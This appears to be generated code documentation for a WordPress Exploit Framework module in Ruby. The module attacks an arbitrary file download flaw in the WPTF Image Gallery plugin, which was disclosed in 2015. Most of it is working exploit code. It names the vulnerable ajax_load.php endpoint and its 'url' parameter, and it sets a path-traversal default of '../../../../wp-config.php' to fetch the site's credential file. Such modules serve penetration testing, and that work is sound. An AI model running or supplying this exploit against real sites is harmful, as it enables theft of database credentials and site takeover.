class Wpxf::Auxiliary::WptfImageGalleryArbitraryFileDownload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/wptf_image_gallery_arbitrary_file_download.rb, line 6 def initialize super update_info( name: 'WPTF Image Gallery Arbitrary File Download', author: [ 'Larry W. Cashdollar', # Disclosure 'rastating' # WPXF module ], references: [ ['WPVDB', '8106'], ['URL', 'http://www.vapid.dhs.org/advisory.php?v=148'], ['EDB', '37751'] ], date: 'Jun 17 2015' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/wptf_image_gallery_arbitrary_file_download.rb, line 24 def check check_plugin_version_from_readme('wptf-image-gallery') end
default_remote_file_path()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/wptf_image_gallery_arbitrary_file_download.rb, line 32 def default_remote_file_path '../../../../wp-config.php' end
download_request_params()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/wptf_image_gallery_arbitrary_file_download.rb, line 36 def download_request_params { 'url' => remote_file } end
downloader_url()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/wptf_image_gallery_arbitrary_file_download.rb, line 40 def downloader_url normalize_uri(wordpress_url_plugins, 'wptf-image-gallery', 'lib-mbox', 'ajax_load.php') end
working_directory()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/wptf_image_gallery_arbitrary_file_download.rb, line 28 def working_directory 'wp-content/plugins/wptf-image-gallery/lib-mbox/' end